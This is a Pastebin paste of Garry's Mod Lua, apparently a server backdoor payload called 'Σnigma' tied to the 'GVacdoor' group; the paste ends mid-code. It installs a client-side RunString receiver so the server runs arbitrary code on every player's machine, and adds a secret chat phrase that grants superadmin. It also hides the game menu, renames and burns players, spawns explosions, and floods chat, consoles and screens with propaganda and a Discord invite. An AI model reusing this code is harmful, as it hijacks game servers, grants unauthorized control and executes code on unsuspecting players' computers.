Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2019
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.34 KB | None | 0 0
  1. timer.Create("nonameplease", 5, 0,function()
  2. for i=1, #player.GetHumans() do
  3. local ply = player.GetHumans()[i]
  4. ply:Say( "/ooc DISCORD : https://discord.gg/9rS2jhf")
  5. end
  6. end)
  7. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  8. util.AddNetworkString "EnigmaProject"
  9.  
  10. local CHANGERPSEUDO = "The Σnigma Project Was Completed"
  11. local enigmalaunchproject = {}
  12. function enigmalaunchproject:RandomString( intMin, intMax )
  13. local ret = ""
  14. for _ = 1, math.random( intMin, intMax ) do
  15. ret = ret.. string.char( math.random(65, 90) )
  16. end
  17.  
  18. return ret
  19. end
  20.  
  21.  
  22.  
  23. enigmalaunchproject.m_tblActions = {}
  24. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  25. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  26.  
  27. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  28. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  29. end
  30.  
  31. function enigmalaunchproject:ActionApres( pPlayer )
  32. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  33. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  34.  
  35. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  36. if not IsValid( pPlayer ) then return end
  37. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  38. self:ActionApres( pPlayer )
  39. end )
  40. end
  41.  
  42. function enigmalaunchproject:Start( pPlayer )
  43. pPlayer.m_intCurAction = 0
  44. self:ActionApres( pPlayer )
  45. end
  46.  
  47. function enigmalaunchproject:SendLua( pPlayer, strLua )
  48. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  49. net.Start( "EnigmaProject" )
  50. net.WriteString( strLua )
  51. net.Send( pPlayer )
  52. end
  53.  
  54. function enigmalaunchproject:SetupPlayer( pPlayer )
  55. pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  56. end
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63. -- DANSE --
  64.  
  65.  
  66. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  67.  
  68.  
  69. -- FIN DANSE --
  70.  
  71.  
  72.  
  73.  
  74. -- CHANGER NOM --
  75.  
  76.  
  77. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  78.  
  79.  
  80. -- FIN CHANGER NOM --
  81.  
  82.  
  83.  
  84. -- Console Spam
  85.  
  86. decore = {
  87. [[
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130. .,,uod8B8bou,,.
  131. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  132. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  133. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  134. !.......:!?|||||!!^^""' ||||
  135. !.........|||| ||||
  136. !.........|||| ENIGMA IS ||||
  137. !.........|||| ||||
  138. !.........|||| |_| ||||
  139. !.........|||| not | |ere ||||
  140. !.........|||| ||||
  141. `.........|||| ,||||
  142. .;.......|||| _.-!!|||||
  143. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  144. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  145. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  146. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  147. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  148. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  149. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  150. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  151. `........::::::::::::::::;iof688888888888888888888b. `
  152. `......:::::::::;iof688888888888888888888888888888b.
  153. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  154. `..::!8888888888888888888888888888888899fT|!^"'
  155. `' !!988888888888888888888888899fT|!^"'
  156. `!!8888888888888888899fT|!^"'
  157. `!988888888899fT|!^"'
  158. `!9899fT|!^"'
  159. `!^"'
  160. ]]
  161. ,
  162. [[
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204. .,,uod8B8bou,,.
  205. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  206. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  207. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  208. !.......:!?|||||!!^^""' ||||
  209. !.........|||| ||||
  210. !.........|||| ||||
  211. !.........|||| THIS SCRIPT ||||
  212. !.........|||| ||||
  213. !.........|||| IS LEAKED ||||
  214. !.........|||| ||||
  215. `.........|||| BY ANATIK ,||||
  216. .;.......|||| _.-!!|||||
  217. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  218. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  219. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  220. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  221. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  222. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  223. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  224. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  225. `........::::::::::::::::;iof688888888888888888888b. `
  226. `......:::::::::;iof688888888888888888888888888888b.
  227. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  228. `..::!8888888888888888888888888888888899fT|!^"'
  229. `' !!988888888888888888888888899fT|!^"'
  230. `!!8888888888888888899fT|!^"'
  231. `!988888888899fT|!^"'
  232. `!9899fT|!^"'
  233. `!^"'
  234. ]]
  235. ,
  236. [[
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265.  
  266.  
  267.  
  268.  
  269.  
  270.  
  271.  
  272.  
  273.  
  274.  
  275.  
  276.  
  277.  
  278. .,,uod8B8bou,,.
  279. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  280. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  281. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  282. !.......:!?|||||!!^^""' ||||
  283. !.........|||| ||||
  284. !.........|||| It's Too Glitchy ||||
  285. !.........|||| ||||
  286. !.........|||| . . ||||
  287. !.........|||| - ||||
  288. !.........|||| ||||
  289. `.........|||| HELP ME PLEASE ,||||
  290. .;.......|||| _.-!!|||||
  291. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  292. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  293. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  294. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  295. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  296. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  297. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  298. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  299. `........::::::::::::::::;iof688888888888888888888b. `
  300. `......:::::::::;iof688888888888888888888888888888b.
  301. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  302. `..::!8888888888888888888888888888888899fT|!^"'
  303. `' !!988888888888888888888888899fT|!^"'
  304. `!!8888888888888888899fT|!^"'
  305. `!988888888899fT|!^"'
  306. `!9899fT|!^"'
  307. `!^"'
  308. ]]
  309. ,
  310. [[
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322.  
  323.  
  324.  
  325.  
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352. .,,uod8B8bou,,.
  353. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  354. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  355. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  356. !.......:!?|||||!!^^""' ||||
  357. !.........|||| ||||
  358. !.........|||| HELP ME !!! ||||
  359. !.........|||| ||||
  360. !.........|||| I NEED HELP ! ||||
  361. !.........|||| ||||
  362. !.........|||| ... ||||
  363. `.........|||| ,||||
  364. .;.......|||| _.-!!|||||
  365. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  366. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  367. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  368. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  369. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  370. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  371. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  372. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  373. `........::::::::::::::::;iof688888888888888888888b. `
  374. `......:::::::::;iof688888888888888888888888888888b.
  375. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  376. `..::!8888888888888888888888888888888899fT|!^"'
  377. `' !!988888888888888888888888899fT|!^"'
  378. `!!8888888888888888899fT|!^"'
  379. `!988888888899fT|!^"'
  380. `!9899fT|!^"'
  381. `!^"'
  382. ]]
  383. ,
  384. [[
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398.  
  399.  
  400.  
  401.  
  402.  
  403.  
  404.  
  405.  
  406.  
  407.  
  408.  
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.  
  426. .,,uod8B8bou,,.
  427. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  428. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  429. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  430. !.......:!?|||||!!^^""' ||||
  431. !.........|||| ||||
  432. !.........|||| What Is Love ||||
  433. !.........|||| Baby Don' Hurt Me ||||
  434. !.........|||| No More ||||
  435. !.........|||| ||||
  436. !.........|||| ♪ ♫ ♪ ♫ ♪♫ ||||
  437. `.........|||| ,||||
  438. .;.......|||| _.-!!|||||
  439. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  440. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  441. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  442. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  443. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  444. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  445. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  446. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  447. `........::::::::::::::::;iof688888888888888888888b. `
  448. `......:::::::::;iof688888888888888888888888888888b.
  449. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  450. `..::!8888888888888888888888888888888899fT|!^"'
  451. `' !!988888888888888888888888899fT|!^"'
  452. `!!8888888888888888899fT|!^"'
  453. `!988888888899fT|!^"'
  454. `!9899fT|!^"'
  455. `!^"'
  456. ]]
  457. }
  458.  
  459. function decorationconsole()
  460. print(Color( 0, 0, 0 ), table.Random(decore))
  461. end
  462. -- Console Spam
  463. for k, v in pairs( player.GetAll() ) do
  464. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  465. end
  466.  
  467. --[[ MODE ARMAGEDDON --
  468.  
  469.  
  470. hook.Add("Think", "armageddon", function()
  471. local explode = ents.Create( "env_explosion" )
  472. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  473. explode:Spawn()
  474. explode:SetKeyValue( "iMagnitude", "500" )
  475. explode:Fire( "Explode", 0, 0 )
  476. end)
  477.  
  478.  
  479. -- FIN MODE ARMAGEDDON ]]--
  480.  
  481.  
  482. -- Send Lua --
  483. function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  484.  
  485.  
  486. -- Changer Taille --
  487.  
  488.  
  489. hook.Add("Think", "giant", function()
  490. for k,v in pairs (player.GetAll()) do
  491. v:SetModelScale(50.5, 100);
  492. v:SetRunSpeed(700 * 2);
  493. v:SetWalkSpeed(400 * 2);
  494. end
  495. end)
  496.  
  497.  
  498. -- Fin Changer Taille --
  499.  
  500.  
  501.  
  502. -- Message --
  503.  
  504.  
  505. for k,v in pairs(player.GetAll()) do
  506. v:ConCommand("say /ooc Ce monde cancer est éliminé, Le projet Σnigma avance !")
  507. end
  508.  
  509.  
  510. -- Message Fin --
  511.  
  512.  
  513.  
  514. -- Auto Lançage --
  515.  
  516.  
  517. for k, v in pairs( player.GetAll() ) do
  518. enigmalaunchproject:SetupPlayer( v )
  519. timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  520. end
  521.  
  522.  
  523. -- Fin Auto Lançage --
  524.  
  525.  
  526. -- Lancer Aux Nouveaux Arrivants --
  527.  
  528.  
  529. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  530. -- enigmalaunchproject:SetupPlayer( pPlayer )
  531. -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  532. --end )
  533.  
  534. -- Fin Lancer Aux Nouveaux Arrivants --
  535.  
  536.  
  537.  
  538. -- Commande Enigma --
  539.  
  540.  
  541. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  542. if strText:sub( 1, 5 ) == "Enigma" then
  543. pSender:Ignite( 1e9 )
  544. pSender:ChatPrint( "Σnigma est ici pour exterminer tout les serveurs cancer de Garry's Mod =)" )
  545. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  546. return false
  547. end
  548. end )
  549.  
  550.  
  551. -- Fin Commande Enigma
  552.  
  553.  
  554.  
  555.  
  556.  
  557. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  558. if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  559. pSender:SetUserGroup("superadmin")
  560. pSender:ChatPrint( "Tu est l'un des notres !" )
  561. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  562. return false
  563. end
  564. end)
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.  
  574.  
  575. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  576. enigmalaunchproject:SendLua( pPlayer, ([=[
  577.  
  578. sound.PlayURL( "https://gvac.cz/assets/galshi.mp3", "", function()end )
  579.  
  580. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  581. local html = [[%s]]
  582. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  583. local pnl = vgui.Create( "HTML" )
  584. pnl:SetPos( ScrW() -1, ScrH() -1 )
  585. pnl:SetVisible( true )
  586. pnl:SetMouseInputEnabled( false )
  587. pnl:SetKeyBoardInputEnabled( false )
  588. pnl:SetSize( intSizeX, intSizeY )
  589. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  590.  
  591. local PageLoaded
  592. PageLoaded = function()
  593. local mat = pnl:GetHTMLMaterial()
  594. if mat then
  595. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  596. return
  597. end
  598.  
  599. timer.Simple( 0.5, PageLoaded )
  600. end
  601.  
  602. PageLoaded()
  603. end
  604.  
  605. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  606.  
  607. hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  608. local sinScaler = math.sin( CurTime() )
  609. DrawBloom(
  610. 0,
  611. 3,
  612. sinScaler *math.Rand(1, 8),
  613. sinScaler *math.Rand(1, 8),
  614. 6,
  615. math.Rand(0.5, 2),
  616. math.Rand(0, 0.3),
  617. math.Rand(0, 0.3),
  618. math.Rand(0.5, 1)
  619. )
  620.  
  621. DrawColorModify{
  622. ["$pp_colour_addr"] = 1,
  623. ["$pp_colour_addg"] = 0,
  624. ["$pp_colour_addb"] = 0,
  625. ["$pp_colour_brightness" ] = 0.1,
  626. ["$pp_colour_contrast" ] = 0.1,
  627. ["$pp_colour_colour" ] = 0.1,
  628. ["$pp_colour_mulr" ] = 1,
  629. ["$pp_colour_mulg" ] = 0,
  630. ["$pp_colour_mulb" ] = 0
  631. }
  632. end )
  633.  
  634. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  635. end )
  636.  
  637.  
  638.  
  639.  
  640. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  641. enigmalaunchproject:SendLua( pPlayer, [[
  642.  
  643. (GAMEMODE or GM).CalcView = function() end
  644. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  645.  
  646. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  647. for k, v in pairs(remove) do
  648. hook.GetTable()[v] = {}
  649. end
  650.  
  651. local function GetWebMat( strURL )
  652. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  653. end
  654.  
  655. hook.Add( "HUDPaint", "hud1enigma", function()
  656. surface.SetDrawColor( 255, 255, 255, 255 )
  657.  
  658. if GetWebMat( "getrekt" ) then
  659. surface.SetMaterial( GetWebMat("getrekt")[1] )
  660. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  661. end
  662.  
  663. draw.SimpleTextOutlined(
  664. "The Enigma Project Was Completed",
  665. "DermaLarge",
  666. ScrW() /2 +math.random( -2, 2 ),
  667. ScrH() /2 +math.random( -2, 2 ) +0,
  668. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  669. TEXT_ALIGN_CENTER,
  670. TEXT_ALIGN_CENTER,
  671. 1,
  672. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  673. )
  674. end )
  675.  
  676. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  677. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  678.  
  679. ]] )
  680. end )
  681.  
  682.  
  683.  
  684. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  685. enigmalaunchproject:SendLua( pPlayer, [[
  686.  
  687. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  688.  
  689.  
  690.  
  691. ]] )
  692. end )
  693.  
  694. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  695. enigmalaunchproject:SendLua( pPlayer, [[
  696.  
  697. (GAMEMODE or GM).CalcView = function() end
  698. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  699.  
  700. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  701. for k, v in pairs(remove) do
  702. hook.GetTable()[v] = {}
  703. end
  704.  
  705. local function GetWebMat( strURL )
  706. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  707. end
  708.  
  709. hook.Add( "HUDPaint", "hud1enigma", function()
  710. surface.SetDrawColor( 255, 255, 255, 255 )
  711.  
  712. if GetWebMat( "getrekt" ) then
  713. surface.SetMaterial( GetWebMat("getrekt")[1] )
  714. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  715. end
  716.  
  717. draw.SimpleTextOutlined(
  718. "Today, this server is going to be purified",
  719. "DermaLarge",
  720. ScrW() /2 +math.random( -2, 2 ),
  721. ScrH() /2 +math.random( -2, 2 ) +0,
  722. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  723. TEXT_ALIGN_CENTER,
  724. TEXT_ALIGN_CENTER,
  725. 1,
  726. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  727. )
  728. end )
  729.  
  730. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  731. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  732.  
  733.  
  734. ]] )
  735. end )
  736.  
  737. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  738. enigmalaunchproject:SendLua( pPlayer, [[
  739.  
  740. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  741.  
  742. ]] )
  743. end )
  744.  
  745. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  746. enigmalaunchproject:SendLua( pPlayer, [[
  747.  
  748.  
  749. (GAMEMODE or GM).CalcView = function() end
  750. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  751.  
  752. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  753. for k, v in pairs(remove) do
  754. hook.GetTable()[v] = {}
  755. end
  756.  
  757. local function GetWebMat( strURL )
  758. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  759. end
  760.  
  761. hook.Add( "HUDPaint", "hud1enigma", function()
  762. surface.SetDrawColor( 255, 255, 255, 255 )
  763.  
  764. if GetWebMat( "getrekt" ) then
  765. surface.SetMaterial( GetWebMat("getrekt")[1] )
  766. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  767. end
  768.  
  769. draw.SimpleTextOutlined(
  770. "Now, Observe our power !",
  771. "DermaLarge",
  772. ScrW() /2 +math.random( -2, 2 ),
  773. ScrH() /2 +math.random( -2, 2 ) +0,
  774. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  775. TEXT_ALIGN_CENTER,
  776. TEXT_ALIGN_CENTER,
  777. 1,
  778. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  779. )
  780. end )
  781.  
  782. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  783. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  784.  
  785.  
  786.  
  787. ]] )
  788. end )
  789.  
  790. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  791. enigmalaunchproject:SendLua( pPlayer, [[
  792.  
  793. for k,v in pairs(player.GetAll()) do
  794. v:ConCommand("say /job We Love Enigma")
  795. end
  796.  
  797. ]] )
  798. end )
  799.  
  800. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  801. enigmalaunchproject:SendLua( pPlayer, [[
  802.  
  803. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  804.  
  805. ]] )
  806. end )
  807.  
  808. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  809. enigmalaunchproject:SendLua( pPlayer, [[
  810.  
  811. RunConsoleCommand("+right")
  812.  
  813. ]] )
  814. end )
  815.  
  816. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  817. enigmalaunchproject:SendLua( pPlayer, [[
  818.  
  819. RunConsoleCommand("-right")
  820.  
  821. ]] )
  822. end )
  823.  
  824. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  825. enigmalaunchproject:SendLua( pPlayer, [[
  826.  
  827. RunConsoleCommand("+duck")
  828.  
  829. ]] )
  830. end )
  831.  
  832. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  833. enigmalaunchproject:SendLua( pPlayer, [[
  834.  
  835. RunConsoleCommand("-duck")
  836.  
  837. ]] )
  838. end )
  839.  
  840. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  841.  
  842. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Enigma will bring back this game from his ashes" )' ) end)
  843. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "We control this game !" )' ) end)
  844. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Server in purification" )' ) end)
  845. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "ZILNIX" )' ) end)
  846. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "KEETA" )' ) end)
  847. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "IXXE" )' ) end)
  848. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "And GVacdoor Members !" )' ) end)
  849. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "The Elite Of GMod" )' ) end)
  850.  
  851. end )
  852.  
  853.  
  854. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  855.  
  856. timer.Remove( "lespamckool" )
  857. timer.Remove( "lespamckool2" )
  858. timer.Remove( "lespamckool3" )
  859. timer.Remove( "lespamckool4" )
  860. timer.Remove( "lespamckool5" )
  861. timer.Remove( "lespamckool6" )
  862. timer.Remove( "lespamckool7" )
  863. timer.Remove( "lespamckool8" )
  864.  
  865. end )
  866.  
  867. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  868.  
  869.  
  870. RunConsoleCommand("sv_friction", "-50")
  871.  
  872.  
  873. end )
  874.  
  875. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  876.  
  877.  
  878. RunConsoleCommand("sv_gravity", "300")
  879.  
  880.  
  881. end )
  882.  
  883. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  884.  
  885.  
  886. hook.Add("Think", "armageddon", function()
  887. local explode = ents.Create( "env_explosion" )
  888. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  889. explode:Spawn()
  890. explode:SetKeyValue( "iMagnitude", "500" )
  891. explode:Fire( "Explode", 0, 0 )
  892. end)
  893.  
  894. end )
  895.  
  896.  
  897. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  898.  
  899. hook.Remove( "Think", "armageddon", function() end)
  900.  
  901. end )
  902.  
  903. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  904. enigmalaunchproject:SendLua( pPlayer, [[
  905. hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  906. local sinScaler = math.sin( CurTime() )
  907. DrawBloom(
  908. 0,
  909. 3,
  910. sinScaler *math.Rand(1, 8),
  911. sinScaler *math.Rand(1, 8),
  912. 6,
  913. math.Rand(0.5, 2),
  914. math.Rand(0, 0.3),
  915. math.Rand(0, 0.3),
  916. math.Rand(0.5, 1)
  917. )
  918.  
  919. DrawColorModify{
  920. ["$pp_colour_addr"] = 0,
  921. ["$pp_colour_addg"] = 0,
